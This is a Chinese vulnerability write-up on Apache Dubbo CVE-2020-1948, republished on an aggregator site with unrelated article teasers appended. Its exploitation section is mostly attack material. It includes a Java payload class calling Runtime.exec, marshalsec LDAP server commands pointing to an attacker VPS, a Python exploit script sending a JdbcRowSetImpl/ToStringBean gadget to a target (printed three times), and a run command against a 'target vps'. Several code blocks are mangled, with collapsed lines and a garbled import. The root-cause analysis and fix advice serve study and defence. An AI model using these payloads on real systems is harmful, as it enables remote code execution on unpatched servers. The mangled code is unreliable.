Dubbo-CVE-2020-1948

APache Dubbo简介

Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东西,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSDL,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:

  • 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。
  • 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
  • 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释

async 异步
sync 同步
  • Provider :暴露服务方称为服务提供者
  • Consumer :调用远程服务方称为服务消费者
  • Rrgister:服务注册与发现的中心目录服务称之为服务注册中心
  • Monitor:统计服务的调用次数和 时间的日志服务称为服务监控中心
  • Container:服务运行容器

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper

环境复现

影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

  1. 编写java代码,进行简单的命令执行,这里以ping命令为例,用检测无回显的dnslog用于验证
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class exp {public exp(){try {java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");} catch (java.io.IOException e) {e.printStackTrace();}}
}
  1. 编译java代码class文件

javac poc.java

最后得到class文件,这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因:下载的时候只执行了yum install java,导致不是完整的jdk

参考链接:https://www.cnblogs.com/sirdong/p/11987639.html

  1. 启动静态网站服务,apache,nginx都可以,这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80

  1. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址: https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接:https://www.cnblogs.com/afanti/p/11266087.html

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

LDAP:轻型目录访问协议 英文 Lightweight Directory Access Protocol )是一个开放的,中立的,工业标准的 应用协议 ,通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 英文 Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的 应用协议,通过 IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明
  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名
  1. 编写python的脚本exp.py

在此之前,需要安装模块

pip install dubbo-py
# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.') 
# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
  1. 执行相应的py脚本

python exp.py 目标vps ldap://己方vps:777/exp

出现success的时候,说明成功

然后观察dnslog,也可以发现回显

同时我们可以留意一下相关的LDAP服务,当出现转发成功的时候,自然也是成功的

参考文章:Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客

原理研究

源码版本:dubbo v2.7.6

下载地址:https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee

下载后,将项目导入IDEA

我们开始分析一下现有的exp

poc1

# exp.py
# -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientif len(sys.argv) < 4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:print('[+] Succeed.')
else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClientclient = DubboClient('127.0.0.1', 12345)JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://127.0.0.1:8087/#ExportObject",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',method_name='rce',args=[toStringBean])

不难发现,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖

<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version>
</dependency>

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

堆栈利用链

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

  1. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
  2. 升级 2.7.7 版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
  3. 禁止将 Dubbo 服务端端口开放给公网,或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放
  4. Dubbo 协议默认采用 Hessian 作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章:

https://www.cnblogs.com/JingQ/p/13329083.html

https://www.cnblogs.com/zhengjim/p/13204194.html

https://www.cnblogs.com/zhengjim/p/13204194.html

Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/97800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人体姿态标注

人体姿态标注 一 标注工具labelme1.1 安装方式1.2 界面说明 二 数据集准备以下每张图片的命名方式&#xff1a;状态_学号_序号.jpg (注意 一定是jpg格式) 保存到一个文件夹中&#xff0c;便于标注。 例如&#xff1a;FALL_0000_0001.jpg 站立数据(UP)&#xff1a;不同方向&…

MySQL增删查改(进阶1)

一、数据库约束 约束&#xff1a;按照一定条件进行规范的做事&#xff1b; 表定义的时候&#xff0c;某些字段保存的数据需要按照一定的约束条件&#xff1b; 1.null约束 字段null&#xff1a;该字段可以为空&#xff1b;not null&#xff1a;该字段不能为空不指定的话就是…

优优嗨聚集团:OTC药品能否纳入报销成为各方关注焦点,对OTC医疗有何影响

随着医疗费用的不断上涨&#xff0c;各方对于非处方药&#xff08;OTC&#xff09;能否纳入报销的关注度也在不断提升。OTC药品是指无需医生处方即可购买的药品&#xff0c;具有方便快捷、安全有效的特点。然而&#xff0c;对于是否将OTC药品纳入报销范围&#xff0c;各方看法不…

NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA&#xff0c;查看 int __cdecl main(int argc, const char **argv, const char **envp) {char buf[32]; // [rsp0h] [rbp-20h] BYREFinit();puts("Welcome to NewStar CTF!!");puts("Show me your magic");read(0, buf, 0x100uLL);return 0; } ma…

Java版本+企业电子招投标系统源代码之电子招投标系统建设的重点和未来趋势

一、立项管理 1、招标立项申请 功能点&#xff1a;招标类项目立项申请入口&#xff0c;用户可以保存为草稿&#xff0c;提交。 2、非招标立项申请 功能点&#xff1a;非招标立项申请入口、用户可以保存为草稿、提交。 3、采购立项列表 功能点&#xff1a;对草稿进行编辑&#x…

46 二叉树展开为链表

二叉树展开为链表 理解题意&#xff1a;前序遍历的N种写法题解1 前序遍历题解2 反前序遍历(代码简洁)题解3 类似旋转的方法题解4 迭代题解5 同时遍历改左右子树 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNo…

Day-05 CentOS7.5 安装 Docker

参考 &#xff1a; Install Docker Engine on CentOS | Docker DocsLearn how to install Docker Engine on CentOS. These instructions cover the different installation methods, how to uninstall, and next steps.https://docs.docker.com/engine/install/centos/ Doc…

让照片人物开口说话,SadTalker 安装及使用(避坑指南)

AI技术突飞猛进&#xff0c;不断的改变着人们的工作和生活。数字人直播作为新兴形式&#xff0c;必将成为未来趋势&#xff0c;具有巨大的、广阔的、惊人的市场前景。它将不断融合创新技术和跨界合作&#xff0c;提供更具个性化和多样化的互动体验&#xff0c;成为未来的一种趋…

[C++基础]-多态

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正。 本期学习目标&am…

数据库配置mysql5.7

1 创建数据库 """ 1.管理员连接数据库 mysql -uroot -proot2.创建数据库 create database hello default charsetutf8;3.查看用户 select user,host,password from mysql.user;# 5.7往后的版本 select user,host,authentication_string from mysql.user; "…

力扣-345.反转字符串中的元音字母

Idea 将s中的元音字母存在字符串sv中&#xff0c;并且使用一个数组依次存储元音字母的下标。 然后将字符串sv进行反转&#xff0c;并遍历元音下标数组&#xff0c;将反转后的字符串sv依次插入到源字符串s中 AC Code class Solution { public:string reverseVowels(string s) {…

【进阶C语言】数组笔试题解析

本节内容以刷题为主&#xff0c;大致目录&#xff1a; 1.一维数组 2.字符数组 3.二维数组 学完后&#xff0c;你将对数组有了更全面的认识 在刷关于数组的题目前&#xff0c;我们先认识一下数组名&#xff1a; 数组名的意义&#xff1a;表示数组首元素的地址 但是有两个例外…

强化学习环境 - robogym - 学习 - 3

强化学习环境 - robogym - 学习 - 3 文章目录 强化学习环境 - robogym - 学习 - 3项目地址为什么选择 robogymObservation - 观测信息Action - 动作信息Initialization - 初始状态设置 项目地址 https://github.com/openai/robogym 为什么选择 robogym 自己的项目需要做一些机…

微信小程序使用路由传参和传对象的方法

近期在做微信小程序开发&#xff0c;在页面跳转时&#xff0c;需要携带参数到下一个页面&#xff0c;尤其是将对象传入页面。为了方便重温&#xff0c;特此记录。 路由传字符串参数 原始页面 传递字符串参数比较简单。路由跳转有两种方式&#xff0c;一种是通过navigator组件…

企业AI工程化之路:如何实现高效、低成本、高质量的落地?

MLOps工程实践 概述面临挑战目的内容简介读者对象专家推荐目录 写在末尾&#xff1a; 主页传送门&#xff1a;&#x1f4c0; 传送 概述 作为计算机科学的一个重要领域&#xff0c;机器学习也是目前人工智能领域非常活跃的分支之一。机器学习通过分析海量数据、总结规律&#x…

Flask实现注册登录模块

&#x1f64c;秋名山码民的主页 &#x1f602;oi退役选手&#xff0c;Java、大数据、单片机、IoT均有所涉猎&#xff0c;热爱技术&#xff0c;技术无罪 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 获取源码&#xff0c;添加WX 目录 前言1.…

机器学习之SGD, Batch, and Mini Batch的简单介绍

文章目录 总述SGD(Stochastic Gradient Descent)(随机梯度下降&#xff09;Batch &#xff08;批量&#xff09;mini Batch (迷你批量&#xff09; 总述 SGD, Batch, and Mini Batch是可用于神经网络的监督学习计算权重更新的方案&#xff0c;即∆wij。 SGD(Stochastic Gradi…

el-tree中插入图标并且带提示信息

<template><div class"left"><!-- default-expanded-keys 默认展开 --><!-- expand-on-click-node 只有点击箭头才会展开树 --><el-tree :data"list" :props"defaultProps" node-click"handleNodeClick" :…

c语言进阶部分详解(详细解析字符串常用函数,并进行模拟实现(下))

上篇文章介绍了一些常用的字符串函数&#xff0c;大家可以跳转过去浏览一下&#xff1a;c语言进阶部分详解&#xff08;详细解析字符串常用函数&#xff0c;并进行模拟实现&#xff08;上&#xff09;&#xff09;_总之就是非常唔姆的博客-CSDN博客 今天接着来介绍一些&#x…

Linux防火墙之--SNAT和DNAT

1.SNAT是什么 SNAT又称源地址转换。源地址转换是内网地址向外访问时&#xff0c;发起访问的内网ip地址转换为指定的ip地址&#xff08;可指定具体的服务以及相应的端口或端口范围&#xff09;&#xff0c;这可以使内网中使用保留ip地址的主机访问外部网络&#xff0c;即内网的多…